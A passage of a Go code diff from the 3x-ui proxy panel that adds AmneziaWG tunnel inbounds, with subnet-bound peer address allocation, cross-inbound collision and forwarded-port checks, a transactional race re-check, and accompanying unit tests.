// valid peer). Ensure only updates the embedded Device -- flag Xray
// for a resync so the relay actually gets created within the next
// ApplyPendingRestart tick instead of only at the next full restart.
if l.deps.SetNeedRestart != nil {
l.deps.SetNeedRestart()
}
return err
}
body, err := json.MarshalIndent(ib.GenXrayInboundConfig(), "", " ")
if err != nil {
return err
@@ -67,6 +98,16 @@ func (l *Local) DelInbound(_ context.Context, ib *model.Inbound) error {
mtproto.GetManager().Remove(ib.Id)
return nil
}
if ib.Protocol == model.AmneziaWG {
amneziawgnet.GetManager().Remove(ib.Id)
// The removed inbound may have been the only one backing Xray's
// injectAmneziawgnetSocks relay inbound for this tag -- flag a
// resync so the now-stale relay gets torn down promptly.
if l.deps.SetNeedRestart != nil {
l.deps.SetNeedRestart()
}
return nil
}
return l.withAPI(func(api *xray.XrayAPI) error {
return api.DelInbound(ib.Tag)
})
@@ -76,6 +117,9 @@ func (l *Local) UpdateInbound(ctx context.Context, oldIb, newIb *model.Inbound)
if oldIb.Protocol == model.MTProto || newIb.Protocol == model.MTProto {
return l.updateMtprotoInbound(ctx, oldIb, newIb)
}
if oldIb.Protocol == model.AmneziaWG || newIb.Protocol == model.AmneziaWG {
return l.updateAmneziaWGInbound(ctx, oldIb, newIb)
}
_ = l.DelInbound(ctx, oldIb)
if !newIb.Enable {
return nil
@@ -112,8 +156,61 @@ func (l *Local) updateMtprotoInbound(ctx context.Context, oldIb, newIb *model.In
return mtproto.GetManager().Ensure(inst)
}
// updateAmneziaWGInbound mirrors updateMtprotoInbound: it skips the
// Remove+Ensure sequence a plain Del+Add would force so that, on an
// AmneziaWG-to-AmneziaWG edit, Manager.Ensure's own fingerprint comparison
// can reconfigure the running embedded Device in place via IpcSet instead
// of always rebuilding it (see internal/amneziawgnet.Manager.ensureLocked --
// only an address/MTU change forces a rebuild there, not a peer edit).
//
// Every exit path below only touches the embedded Device via
// amneziawgnet.GetManager() -- none of it rebuilds Xray's own config, which
// is what actually creates/removes injectAmneziawgnetSocks's relay inbound.
// A peer edit that changes whether this inbound has a qualifying peer at
// all (its first peer added, or its last one removed) must still get that
// relay created or torn down, so flag Xray for a resync unconditionally
// here rather than trying to enumerate which of the branches below need it.
func (l *Local) updateAmneziaWGInbound(ctx context.Context, oldIb, newIb *model.Inbound) error {
if l.deps.SetNeedRestart != nil {
l.deps.SetNeedRestart()
}
if oldIb.Protocol == model.AmneziaWG && newIb.Protocol != model.AmneziaWG {
amneziawgnet.GetManager().Remove(oldIb.Id)
if !newIb.Enable {
return nil
}
return l.AddInbound(ctx, newIb)
}
if oldIb.Protocol != model.AmneziaWG {
_ = l.DelInbound(ctx, oldIb)
}
if !newIb.Enable {
amneziawgnet.GetManager().Remove(newIb.Id)
return nil
}
inst, ok := amneziawg.InstanceFromInbound(newIb)
if !ok {
amneziawgnet.GetManager().Remove(newIb.Id)
return nil
}
return amneziawgnet.GetManager().Ensure(amneziawgnet.Desired{
Instance: inst,
Options: amneziawgnet.DeviceOptions{
HeaderProtectionKey: inst.Obfuscation.HeaderProtectionKey,
ContentPaddingAddition: inst.Obfuscation.ContentPaddingAddition,
RekeyAfterTime: inst.Obfuscation.RekeyAfterTime,
RekeyTimeout: inst.Obfuscation.RekeyTimeout,
RejectAfterTime: inst.Obfuscation.RejectAfterTime,
KeepaliveTimeout: inst.Obfuscation.KeepaliveTimeout,
MaxHandshakeAttempts: inst.Obfuscation.MaxHandshakeAttempts,
RandomTrailers: inst.Obfuscation.RandomTrailers,
DisableCookies: inst.Obfuscation.DisableCookies,
},
})
}
func (l *Local) AddUser(_ context.Context, ib *model.Inbound, userMap map[string]any) error {
if ib.Protocol == model.MTProto {
if ib.Protocol == model.MTProto || ib.Protocol == model.AmneziaWG {
return nil
}
return l.withAPI(func(api *xray.XrayAPI) error {
@@ -122,7 +219,7 @@ func (l *Local) AddUser(_ context.Context, ib *model.Inbound, userMap map[string
}
func (l *Local) RemoveUser(_ context.Context, ib *model.Inbound, email string) error {
if ib.Protocol == model.MTProto {
if ib.Protocol == model.MTProto || ib.Protocol == model.AmneziaWG {
return nil
}
return l.withAPI(func(api *xray.XrayAPI) error {
+119
View File
@@ -0,0 +1,119 @@
package service
import (
"encoding/json"
"fmt"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
"github.com/mhsanaei/3x-ui/v3/internal/util/common"
wgutil "github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
)
// defaultAmneziaWGSubnetBases resolves the /CIDR bases new peer addresses are
// allocated from, out of the inbound's own configured server subnet(s) —
// unlike WireGuard, which always falls back to a fixed 10.0.0.0/24. v6Base is
// "" when the server doesn't have IPv6 enabled.
func defaultAmneziaWGSubnetBases(settingsJSON string) (v4Base, v6Base string, err error) {
var parsed amneziawg.InboundSettings
if err := json.Unmarshal([]byte(settingsJSON), &parsed); err != nil {
return "", "", fmt.Errorf("amneziawg: invalid settings: %w", err)
}
if parsed.Server == nil {
return "", "", fmt.Errorf("amneziawg: settings missing server block")
}
cidr := parsed.Server.SubnetCIDR
if cidr <= 0 {
cidr = 24
}
v4Base = fmt.Sprintf("%s/%d", parsed.Server.SubnetIP, cidr)
if parsed.Server.IPv6Enabled && parsed.Server.IPv6Subnet != "" {
v6Base = parsed.Server.IPv6Subnet
}
return v4Base, v6Base, nil
}
// defaultAmneziaWGClients fills in blank credentials and a free tunnel address
// for new clients, mutating both the typed clients and the parallel raw maps
// persisted into the settings. Existing values are never overwritten, so an
// edit never rotates keys. Mirrors defaultWireguardClients; crossInboundUsed
// (see otherTunnelAllowedIPs) narrows which addresses are still free.
func defaultAmneziaWGClients(settingsJSON string, existing, clients []model.Client, interfaceClients []any, crossInboundUsed map[string]string) error {
v4Base, v6Base, err := defaultAmneziaWGSubnetBases(settingsJSON)
if err != nil {
return err
}
used := make([]string, 0)
for i := range existing {
used = append(used, existing[i].AllowedIPs...)
}
for addr := range crossInboundUsed {
used = append(used, addr)
}
for i := range clients {
c := &clients[i]
if c.PrivateKey == "" && c.PublicKey == "" {
priv, pub, err := wgutil.GenerateWireguardKeypair()
if err != nil {
return err
}
c.PrivateKey = priv
c.PublicKey = pub
} else if c.PublicKey == "" && c.PrivateKey != "" {
pub, err := wgutil.PublicKeyFromPrivate(c.PrivateKey)
if err != nil {
return err
}
c.PublicKey = pub
}
if len(c.AllowedIPs) == 0 {
// allowWidening=false: unlike WireGuard's Xray-native inbound,
// AmneziaWG's kernel interface Address is exactly the configured
// subnet, so an address allocated outside it would be silently
// unroutable. Exhaustion here must fail loudly instead.
addr, err := allocateWireguardAddress(used, v4Base, false)
if err != nil {
return err
}
allowed := []string{addr}
if v6Base != "" {
addr6, err := allocateWireguardAddress(used, v6Base, false)
if err != nil {
return err
}
allowed = append(allowed, addr6)
}
c.AllowedIPs = allowed
} else {
normalized, err := normalizeWireguardAllowedIPs(c.AllowedIPs)
if err != nil {
return err
}
if len(normalized) == 0 {
return common.NewError("amneziawg: allowedIPs has no usable entry")
}
if hit := wireguardAllowedIPsCollision(normalized, used); hit != "" {
if where := crossInboundUsed[hit]; where != "" {
return common.NewError("amneziawg: allowedIPs entry", hit, "is already used by a client on", where)
}
return common.NewError("amneziawg: allowedIPs entry already used by another client:", hit)
}
c.AllowedIPs = normalized
}
used = append(used, c.AllowedIPs...)
if i < len(interfaceClients) {
if m, ok := interfaceClients[i].(map[string]any); ok {
m["privateKey"] = c.PrivateKey
m["publicKey"] = c.PublicKey
m["allowedIPs"] = c.AllowedIPs
if c.PreSharedKey != "" {
m["preSharedKey"] = c.PreSharedKey
}
interfaceClients[i] = m
}
}
}
return nil
}
@@ -0,0 +1,153 @@
package service
import (
"fmt"
"strings"
"testing"
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
)
// AmneziaWG's own kernel interface Address is exactly the configured
// subnet (unlike WireGuard's Xray-native inbound), so allocation for it must
// never widen past that subnet -- an address from outside it would be
// silently unroutable. See PR #6105 Finding 12.
func TestAllocateWireguardAddress_AmneziaWGNeverWidens(t *testing.T) {
used := make([]string, 0, 254)
for i := 2; i <= 255; i++ {
used = append(used, fmt.Sprintf("10.8.1.%d/32", i))
}
if _, err := allocateWireguardAddress(used, "10.8.1.0/24", false); err == nil {
t.Fatal("a full AmneziaWG /24 must fail loudly instead of allocating an address outside the interface's own subnet")
}
}
func TestAllocateWireguardAddress_AmneziaWGFillsItsOwnSubnetNormally(t *testing.T) {
got, err := allocateWireguardAddress([]string{"10.8.1.2/32"}, "10.8.1.0/24", false)
if err != nil {
t.Fatalf("allocateWireguardAddress: %v", err)
}
if got != "10.8.1.3/32" {
t.Fatalf("address = %q, want 10.8.1.3/32", got)
}
}
const amneziawgClientTestSettings = `{"server":{"subnetIp":"10.8.1.0","subnetCidr":24}}`
func TestDefaultAmneziaWGSubnetBases(t *testing.T) {
v4, v6, err := defaultAmneziaWGSubnetBases(amneziawgClientTestSettings)
if err != nil {
t.Fatalf("defaultAmneziaWGSubnetBases: %v", err)
}
if v4 != "10.8.1.0/24" {
t.Fatalf("v4Base = %q, want 10.8.1.0/24", v4)
}
if v6 != "" {
t.Fatalf("v6Base = %q, want empty when IPv6 is not enabled", v6)
}
}
func TestDefaultAmneziaWGSubnetBasesIncludesIPv6WhenEnabled(t *testing.T) {
settings := `{"server":{"subnetIp":"10.8.1.0","subnetCidr":24,"ipv6Enabled":true,"ipv6Subnet":"fd00::/64"}}`
v4, v6, err := defaultAmneziaWGSubnetBases(settings)
if err != nil {
t.Fatalf("defaultAmneziaWGSubnetBases: %v", err)
}
if v4 != "10.8.1.0/24" || v6 != "fd00::/64" {
t.Fatalf("got v4=%q v6=%q", v4, v6)
}
}
func TestDefaultAmneziaWGSubnetBasesRejectsMissingServer(t *testing.T) {
if _, _, err := defaultAmneziaWGSubnetBases(`{}`); err == nil {
t.Fatal("expected an error when the settings have no server block")
}
}
func TestDefaultAmneziaWGClientsGeneratesKeypairAndAllocatesFromOwnSubnet(t *testing.T) {
clients := []model.Client{{Email: "a@awg"}}
ifaces := []any{map[string]any{"email": "a@awg"}}
if err := defaultAmneziaWGClients(amneziawgClientTestSettings, nil, clients, ifaces, nil); err != nil {
t.Fatalf("defaultAmneziaWGClients: %v", err)
}
c := clients[0]
if c.PrivateKey == "" || c.PublicKey == "" {
t.Fatalf("keypair not generated: priv=%q pub=%q", c.PrivateKey, c.PublicKey)
}
if len(c.AllowedIPs) != 1 || c.AllowedIPs[0] != "10.8.1.2/32" {
t.Fatalf("allowedIPs not allocated from the inbound's own subnet: %v", c.AllowedIPs)
}
}
func TestDefaultAmneziaWGClientsPreservesProvided(t *testing.T) {
clients := []model.Client{{
Email: "b@awg",
PrivateKey: "keep-priv",
PublicKey: "keep-pub",
AllowedIPs: []string{"10.8.1.50/32"},
}}
ifaces := []any{map[string]any{"email": "b@awg"}}
if err := defaultAmneziaWGClients(amneziawgClientTestSettings, nil, clients, ifaces, nil); err != nil {
t.Fatalf("defaultAmneziaWGClients: %v", err)
}
if clients[0].PrivateKey != "keep-priv" || clients[0].PublicKey != "keep-pub" {
t.Fatalf("provided keys were rotated: %+v", clients[0])
}
if clients[0].AllowedIPs[0] != "10.8.1.50/32" {
t.Fatalf("provided allowedIPs changed: %v", clients[0].AllowedIPs)
}
}
func TestDefaultAmneziaWGClientsRejectsSameInboundDuplicate(t *testing.T) {
existing := []model.Client{{Email: "old@awg", AllowedIPs: []string{"10.8.1.9/32"}}}
dup := []model.Client{{Email: "new@awg", AllowedIPs: []string{"10.8.1.9/32"}}}
err := defaultAmneziaWGClients(amneziawgClientTestSettings, existing, dup, []any{map[string]any{"email": "new@awg"}}, nil)
if err == nil {
t.Fatal("duplicate allowedIPs on the same inbound must be rejected")
}
}
// The exact real-world scenario that motivated crossInboundUsed: a WireGuard
// client and an AmneziaWG peer given the same address by habit. The
// collision must be caught even though the two live on different inbounds
// and neither appears in the other's own "existing" client list, and the
// error should name the other inbound so an admin isn't left guessing.
func TestDefaultAmneziaWGClientsRejectsCrossInboundDuplicate(t *testing.T) {
crossUsed := map[string]string{"10.8.1.21/32": "inbound 'wg' (#12)"}
dup := []model.Client{{Email: "c@awg", AllowedIPs: []string{"10.8.1.21/32"}}}
err := defaultAmneziaWGClients(amneziawgClientTestSettings, nil, dup, []any{map[string]any{"email": "c@awg"}}, crossUsed)
if err == nil {
t.Fatal("allowedIPs already used on another inbound must be rejected")
}
if !strings.Contains(err.Error(), "inbound 'wg' (#12)") {
t.Fatalf("error should name the other inbound holding the address, got: %v", err)
}
}
func TestDefaultAmneziaWGClientsAutoAllocateSkipsCrossInboundUsed(t *testing.T) {
crossUsed := map[string]string{"10.8.1.2/32": "inbound 'other-awg' (#3)"}
clients := []model.Client{{Email: "d@awg"}}
ifaces := []any{map[string]any{"email": "d@awg"}}
if err := defaultAmneziaWGClients(amneziawgClientTestSettings, nil, clients, ifaces, crossUsed); err != nil {
t.Fatalf("defaultAmneziaWGClients: %v", err)
}
if clients[0].AllowedIPs[0] != "10.8.1.3/32" {
t.Fatalf("auto-allocation should skip the cross-inbound-used .2 and pick .3, got %v", clients[0].AllowedIPs)
}
}
// Unlike WireGuard's allocation base (inferred from existing peers with a
// fallback), AmneziaWG's base always comes from the inbound's own configured
// subnet -- so this is really confirming crossInboundUsed can never change
// which subnet is used, only which addresses within it are free.
func TestDefaultAmneziaWGClientsCrossInboundUsedDoesNotChangeBase(t *testing.T) {
crossUsed := map[string]string{"192.168.99.5/32": "inbound 'unrelated' (#99)"}
clients := []model.Client{{Email: "e@awg"}}
ifaces := []any{map[string]any{"email": "e@awg"}}
if err := defaultAmneziaWGClients(amneziawgClientTestSettings, nil, clients, ifaces, crossUsed); err != nil {
t.Fatalf("defaultAmneziaWGClients: %v", err)
}
if got := clients[0].AllowedIPs[0]; got != "10.8.1.2/32" {
t.Fatalf("base subnet must stay the inbound's own 10.8.1.0/24; got %v", got)
}
}
@@ -0,0 +1,97 @@
package service
import (
"testing"
"github.com/mhsanaei/3x-ui/v3/internal/database"
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
)
// TestHasTunnelAttachmentDetectsWireguardOrAmneziaWG backs the fix for a
// real production bug: Attach copies an identity's stored AllowedIPs into
// every inbound it processes (so the same person keeps the same tunnel
// address across protocols), but when an identity has been fully detached
// from every WireGuard/AmneziaWG inbound, that stored address is a leftover
// nothing reserves anymore -- reusing it can skip past address space that's
// genuinely free (a real user's own case: address .21 resurrected instead
// of the actually-free .3). hasTunnelAttachment is what Attach checks to
// decide whether to clear the stored address before its loop, so it needs
// to correctly tell "still has an active tunnel elsewhere" (preserve) apart
// from "no tunnel attachment at all" (clear, allocate fresh).
func TestHasTunnelAttachmentDetectsWireguardOrAmneziaWG(t *testing.T) {
setupConflictDB(t)
seedInboundConflict(t, "awg-1", "0.0.0.0", 443, model.AmneziaWG, ``, `{"server":{"subnetIp":"10.8.1.0","subnetCidr":24},"clients":[]}`)
seedInboundConflict(t, "wg-1", "0.0.0.0", 51820, model.WireGuard, ``, `{"clients":[]}`)
seedInboundConflict(t, "vless-1", "0.0.0.0", 8443, model.VLESS, `{"network":"tcp"}`, `{"clients":[]}`)
var awgInbound, wgInbound, vlessInbound model.Inbound
if err := database.GetDB().Where("tag = ?", "awg-1").First(&awgInbound).Error; err != nil {
t.Fatalf("read seeded awg row: %v", err)
}
if err := database.GetDB().Where("tag = ?", "wg-1").First(&wgInbound).Error; err != nil {
t.Fatalf("read seeded wg row: %v", err)
}
if err := database.GetDB().Where("tag = ?", "vless-1").First(&vlessInbound).Error; err != nil {
t.Fatalf("read seeded vless row: %v", err)
}
s := &ClientService{}
inboundSvc := &InboundService{}
if s.hasTunnelAttachment(inboundSvc, nil) {
t.Error("empty inboundIds must report no tunnel attachment")
}
if s.hasTunnelAttachment(inboundSvc, []int{vlessInbound.Id}) {
t.Error("a VLESS-only attachment must not count as a tunnel attachment")
}
if s.hasTunnelAttachment(inboundSvc, []int{99999}) {
t.Error("a nonexistent inbound id must not count as a tunnel attachment")
}
if !s.hasTunnelAttachment(inboundSvc, []int{vlessInbound.Id, wgInbound.Id}) {
t.Error("a WireGuard inbound among others must count as a tunnel attachment")
}
if !s.hasTunnelAttachment(inboundSvc, []int{awgInbound.Id}) {
t.Error("an AmneziaWG inbound must count as a tunnel attachment")
}
}
// TestAddressesFitAmneziaWGInbound is a regression test for a real
// production bug: hasTunnelAttachment only asked "does this identity have
// ANY tunnel attachment", not "is the address it would inherit actually
// valid for THIS inbound" -- so an identity whose stored address came from
// WireGuard's own fallback subnet (10.0.0.0/24, used when that inbound has
// no other clients to infer a base from) got that exact address silently
// carried over onto a second, AmneziaWG inbound configured for a completely
// different subnet (10.8.1.0/24). defaultAmneziaWGClients's already-set
// branch only checks for collisions, not subnet membership, so the mismatch
// was accepted with no error -- producing a peer that can never actually
// connect (an AmneziaWG address must fall inside the kernel interface's own
// configured subnet to be routable at all). addressesFitAmneziaWGInbound is
// the check Attach now runs per inbound before deciding whether to keep an
// inherited address or force a fresh allocation.
func TestAddressesFitAmneziaWGInbound(t *testing.T) {
setupConflictDB(t)
seedInboundConflict(t, "awg-1", "0.0.0.0", 443, model.AmneziaWG, ``, `{"server":{"subnetIp":"10.8.1.0","subnetCidr":24},"clients":[]}`)
seedInboundConflict(t, "wg-1", "0.0.0.0", 51820, model.WireGuard, ``, `{"clients":[]}`)
var awgInbound, wgInbound model.Inbound
if err := database.GetDB().Where("tag = ?", "awg-1").First(&awgInbound).Error; err != nil {
t.Fatalf("read seeded awg row: %v", err)
}
if err := database.GetDB().Where("tag = ?", "wg-1").First(&wgInbound).Error; err != nil {
t.Fatalf("read seeded wg row: %v", err)
}
if !addressesFitAmneziaWGInbound(nil, &awgInbound) {
t.Error("no addresses at all must trivially fit (Attach's own fresh-allocate path)")
}
if !addressesFitAmneziaWGInbound([]string{"10.0.0.2/32"}, &wgInbound) {
t.Error("WireGuard has no strict subnet requirement -- must never be rejected here")
}
if addressesFitAmneziaWGInbound([]string{"10.0.0.2/32"}, &awgInbound) {
t.Fatal("the real bug: a WireGuard-fallback-subnet address must NOT be accepted as fitting an AmneziaWG inbound configured for a different subnet")
}
if !addressesFitAmneziaWGInbound([]string{"10.8.1.21/32"}, &awgInbound) {
t.Error("an address genuinely inside the awg inbound's own configured subnet must fit")
}
}
@@ -0,0 +1,63 @@
package service
import (
"fmt"
"sync"
"testing"
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
)
// Concurrent creates on two inbounds hold two different lockInbound mutexes,
// so only the serialized writer's in-tx re-check can reject the second claim.
func TestAddInboundClientConcurrentCrossInboundAddressSingleWinner(t *testing.T) {
setupBulkDB(t)
svc := &ClientService{}
inboundSvc := &InboundService{}
ib1 := mkInbound(t, 52210, model.WireGuard, wgServerSettings())
ib2 := mkInbound(t, 52211, model.WireGuard, wgServerSettings())
const rounds = 25
for round := range rounds {
addr := fmt.Sprintf("10.77.%d.7/32", round)
claims := []*model.Inbound{
{Id: ib1.Id, Protocol: model.WireGuard, Settings: clientsSettings(t, []model.Client{
{Email: fmt.Sprintf("race-%d-a@wg", round), Enable: true, AllowedIPs: []string{addr}},
})},
{Id: ib2.Id, Protocol: model.WireGuard, Settings: clientsSettings(t, []model.Client{
{Email: fmt.Sprintf("race-%d-b@wg", round), Enable: true, AllowedIPs: []string{addr}},
})},
}
start := make(chan struct{})
errs := make(chan error, len(claims))
var wg sync.WaitGroup
for _, claim := range claims {
wg.Add(1)
go func(data *model.Inbound) {
defer wg.Done()
<-start
_, err := svc.AddInboundClient(inboundSvc, data)
errs <- err
}(claim)
}
close(start)
wg.Wait()
close(errs)
committed := 0
rejections := make([]string, 0, len(claims))
for err := range errs {
if err == nil {
committed++
continue
}
rejections = append(rejections, err.Error())
}
if committed != 1 {
t.Fatalf("round %d addr %s: concurrent AddInboundClient committed=%d, want exactly 1 (rejections: %v)",
round, addr, committed, rejections)
}
}
}
+105 -2
View File
@@ -5,6 +5,7 @@ import (
"encoding/json"
"errors"
"fmt"
"net/netip"
"strings"
"time"
"unicode"
@@ -202,7 +203,19 @@ func (s *ClientService) Create(inboundSvc *InboundService, payload *ClientCreate
if err := s.fillProtocolDefaults(&client, inbound); err != nil {
return needRestart, err
}
settingsPayload, mErr := json.Marshal(map[string][]model.Client{"clients": {clientWithInboundFlow(client, inbound)}})
clientForInbound := client
if ips, ok := client.AllowedIPsByInbound[ibId]; ok {
clientForInbound.AllowedIPs = ips
} else if !addressesFitAmneziaWGInbound(clientForInbound.AllowedIPs, inbound) {
// The shared AllowedIPs value (e.g. from a single-field legacy
// caller) came from a different subnet than this inbound's own --
// clear it so defaultAmneziaWGClients allocates a fresh, correct
// address for THIS inbound instead of persisting an unroutable
// peer. Same reasoning as addressesFitAmneziaWGInbound's own doc
// comment on the Attach path.
clientForInbound.AllowedIPs = nil
}
settingsPayload, mErr := json.Marshal(map[string][]model.Client{"clients": {clientWithInboundFlow(clientForInbound, inbound)}})
if mErr != nil {
return needRestart, mErr
}
@@ -503,7 +516,22 @@ func (s *ClientService) Update(inboundSvc *InboundService, id int, updated model
if err := s.fillProtocolDefaults(&updated, inbound); err != nil {
return needRestart, err
}
settingsPayload, mErr := json.Marshal(map[string][]model.Client{"clients": {clientWithInboundFlow(updated, inbound)}})
clientForInbound := updated
if ips, ok := updated.AllowedIPsByInbound[ibId]; ok {
clientForInbound.AllowedIPs = ips
} else if !addressesFitAmneziaWGInbound(clientForInbound.AllowedIPs, inbound) {
// A single shared AllowedIPs field (the common case for a caller
// that never sends AllowedIPsByInbound) must never overwrite an
// inbound it doesn't belong to -- e.g. a client attached to both
// wg and awg saving its wg-labeled address would otherwise get
// that same address silently written into the awg peer config
// too. Clearing it here makes UpdateInboundClient's own
// empty-AllowedIPs carry-forward (see its WireGuard/AmneziaWG
// branch) preserve THIS inbound's existing, correct value
// instead.
clientForInbound.AllowedIPs = nil
}
settingsPayload, mErr := json.Marshal(map[string][]model.Client{"clients": {clientWithInboundFlow(clientForInbound, inbound)}})
if mErr != nil {
return needRestart, mErr
}
@@ -704,6 +732,66 @@ func (s *ClientService) Delete(inboundSvc *InboundService, id int, keepTraffic b
return needRestart, nil
}
// hasTunnelAttachment reports whether any of inboundIds is a currently
// existing WireGuard or AmneziaWG inbound. Inbounds that fail to load are
// skipped rather than treated as an error -- Attach's own loop already
// surfaces a real error for any inbound it can't load when it gets there.
func (s *ClientService) hasTunnelAttachment(inboundSvc *InboundService, inboundIds []int) bool {
for _, ibId := range inboundIds {
inbound, err := inboundSvc.GetInbound(ibId)
if err != nil {
continue
}
if inbound.Protocol == model.WireGuard || inbound.Protocol == model.AmneziaWG {
return true
}
}
return false
}
// addressesFitAmneziaWGInbound reports whether every entry in addrs falls
// inside ib's own configured subnet(s). AmneziaWG only: its kernel interface
// Address is exactly that subnet, so an address inherited from elsewhere (an
// identity attached to a WireGuard inbound first, say) produces a peer that
// can never connect -- Attach allocates fresh instead.
func addressesFitAmneziaWGInbound(addrs []string, ib *model.Inbound) bool {
if ib.Protocol != model.AmneziaWG || len(addrs) == 0 {
return true
}
v4Base, v6Base, err := defaultAmneziaWGSubnetBases(ib.Settings)
if err != nil {
return false
}
bases := make([]netip.Prefix, 0, 2)
for _, base := range []string{v4Base, v6Base} {
if base == "" {
continue
}
prefix, pErr := netip.ParsePrefix(base)
if pErr != nil {
return false
}
bases = append(bases, prefix)
}
for _, a := range addrs {
host := wireguardHostAddr(a)
if !host.IsValid() {
return false
}
fits := false
for _, prefix := range bases {
if prefix.Contains(host) {
fits = true
break
}
}
if !fits {
return false
}
}
return true
}
func (s *ClientService) Attach(inboundSvc *InboundService, id int, inboundIds []int) (bool, error) {
existing, err := s.GetByID(id)
if err != nil {
@@ -726,6 +814,18 @@ func (s *ClientService) Attach(inboundSvc *InboundService, id int, inboundIds []
clientWire.Flow = flow
clientWire.UpdatedAt = time.Now().UnixMilli()
// If this identity has no CURRENT WireGuard/AmneziaWG attachment,
// clientWire.AllowedIPs (from the ClientRecord) is a leftover from
// whenever it last had one -- nothing reserves it anymore. Clear it so
// attaching to a tunnel inbound now allocates a fresh address instead
// of resurrecting the old one, which may no longer even be the lowest
// free slot. Left untouched when the identity already has an active
// tunnel elsewhere, so extending it to a second protocol still keeps
// the same address on both.
if !s.hasTunnelAttachment(inboundSvc, currentIds) {
clientWire.AllowedIPs = nil
}
needRestart := false
for _, ibId := range inboundIds {
if _, attached := have[ibId]; attached {
@@ -736,6 +836,9 @@ func (s *ClientService) Attach(inboundSvc *InboundService, id int, inboundIds []
return needRestart, getErr
}
copyClient := *clientWire
if !addressesFitAmneziaWGInbound(copyClient.AllowedIPs, inbound) {
copyClient.AllowedIPs = nil
}
if err := s.fillProtocolDefaults(&copyClient, inbound); err != nil {
return needRestart, err
}
+147 -10
View File
@@ -241,6 +241,46 @@ func (s *ClientService) delInboundClients(inboundSvc *InboundService, inboundId
return needRestart, nil
}
// otherTunnelAllowedIPs maps every AllowedIPs entry claimed on another
// WireGuard/AmneziaWG inbound to a description of which one holds it: the
// per-inbound defaulters only check their own client list, so two inbounds
// sharing a subnet could otherwise hand out the same address. Disabled
// siblings count too, keeping their addresses reserved for a later re-enable.
//
// selfEmails skips this identity's own entries. Email is globally unique, so a
// match there is never a real collision -- and Attach deliberately reuses one
// address across every inbound it attaches the identity to.
func (s *ClientService) otherTunnelAllowedIPs(db *gorm.DB, inboundSvc *InboundService, excludeID int, selfEmails map[string]struct{}) (map[string]string, error) {
var inbounds []*model.Inbound
err := db.Model(model.Inbound{}).
Where("protocol IN ? AND id != ?", []model.Protocol{model.WireGuard, model.AmneziaWG}, excludeID).
Find(&inbounds).Error
if err != nil {
return nil, err
}
used := make(map[string]string)
for _, ib := range inbounds {
clients, cErr := inboundSvc.GetClients(ib)
if cErr != nil {
continue
}
name := ib.Remark
if name == "" {
name = ib.Tag
}
label := fmt.Sprintf("inbound '%s' (#%d)", name, ib.Id)
for _, c := range clients {
if _, self := selfEmails[strings.ToLower(c.Email)]; self {
continue
}
for _, addr := range c.AllowedIPs {
used[addr] = label
}
}
}
return used, nil
}
func (s *ClientService) checkEmailsExistForClients(inboundSvc *InboundService, clients []model.Client) (string, error) {
emailSubIDs, err := inboundSvc.emailSubIDsForClients(clients)
if err != nil {
@@ -348,12 +388,37 @@ func (s *ClientService) AddInboundClient(inboundSvc *InboundService, data *model
interfaceClients = keptWire
}
if oldInbound.Protocol == model.WireGuard {
if dErr := defaultWireguardClients(existingClients, clients, interfaceClients); dErr != nil {
return false, dErr
var selfEmails map[string]struct{}
if oldInbound.Protocol == model.WireGuard || oldInbound.Protocol == model.AmneziaWG {
selfEmails = make(map[string]struct{}, len(clients))
for _, c := range clients {
if c.Email != "" {
selfEmails[strings.ToLower(c.Email)] = struct{}{}
}
}
crossUsed, cErr := s.otherTunnelAllowedIPs(database.GetDB(), inboundSvc, oldInbound.Id, selfEmails)
if cErr != nil {
return false, cErr
}
if oldInbound.Protocol == model.WireGuard {
if dErr := defaultWireguardClients(oldInbound.Settings, existingClients, clients, interfaceClients, crossUsed); dErr != nil {
return false, dErr
}
}
if oldInbound.Protocol == model.AmneziaWG {
if dErr := defaultAmneziaWGClients(oldInbound.Settings, existingClients, clients, interfaceClients, crossUsed); dErr != nil {
return false, dErr
}
}
}
var portCtx portConflictContext
if oldInbound.Protocol == model.AmneziaWG {
portCtx, err = inboundSvc.loadPortConflictContext(database.GetDB())
if err != nil {
return false, err
}
}
for _, client := range clients {
if strings.TrimSpace(client.Email) == "" {
return false, common.NewError("client email is required")
@@ -371,7 +436,7 @@ func (s *ClientService) AddInboundClient(inboundSvc *InboundService, data *model
if client.Auth == "" {
return false, common.NewError("empty client ID")
}
case "wireguard":
case "wireguard", "amneziawg":
if client.PublicKey == "" {
return false, common.NewError("wireguard client requires a key")
}
@@ -387,6 +452,11 @@ func (s *ClientService) AddInboundClient(inboundSvc *InboundService, data *model
return false, common.NewError("empty client ID")
}
}
if oldInbound.Protocol == model.AmneziaWG {
if hit := inboundSvc.checkForwardedPortsConflict(portCtx, client.ForwardedPorts); hit != "" {
return false, common.NewError("amneziawg: forwardedPorts collides with", hit)
}
}
}
var oldSettings map[string]any
@@ -430,6 +500,34 @@ func (s *ClientService) AddInboundClient(inboundSvc *InboundService, data *model
// Persist client stats + inbound atomically, serialized against the traffic
// poll to avoid the cross-transaction lock-order deadlock (runSerializedTx).
if txErr := runSerializedTx(func(tx *gorm.DB) error {
// lockInbound is per-inbound, so the pre-tx cross-inbound checks race
// concurrent writers on other inbounds — re-run them in here (#6225).
if oldInbound.Protocol == model.WireGuard || oldInbound.Protocol == model.AmneziaWG {
crossUsed, cErr := s.otherTunnelAllowedIPs(tx, inboundSvc, oldInbound.Id, selfEmails)
if cErr != nil {
return cErr
}
crossAddrs := make([]string, 0, len(crossUsed))
for addr := range crossUsed {
crossAddrs = append(crossAddrs, addr)
}
for i := range clients {
if hit := wireguardAllowedIPsCollision(clients[i].AllowedIPs, crossAddrs); hit != "" {
return common.NewError("allowedIPs entry", hit, "is already used by a client on", crossUsed[hit])
}
}
}
if oldInbound.Protocol == model.AmneziaWG {
txPortCtx, pErr := inboundSvc.loadPortConflictContext(tx)
if pErr != nil {
return pErr
}
for i := range clients {
if hit := inboundSvc.checkForwardedPortsConflict(txPortCtx, clients[i].ForwardedPorts); hit != "" {
return common.NewError("amneziawg: forwardedPorts collides with", hit)
}
}
}
for i := range clients {
if len(clients[i].Email) == 0 {
continue
@@ -459,6 +557,8 @@ func (s *ClientService) AddInboundClient(inboundSvc *InboundService, data *model
needRestart = true
} else if oldInbound.Protocol == model.MTProto {
inboundSvc.applyLocalMtproto(oldInbound.Id)
} else if oldInbound.Protocol == model.AmneziaWG {
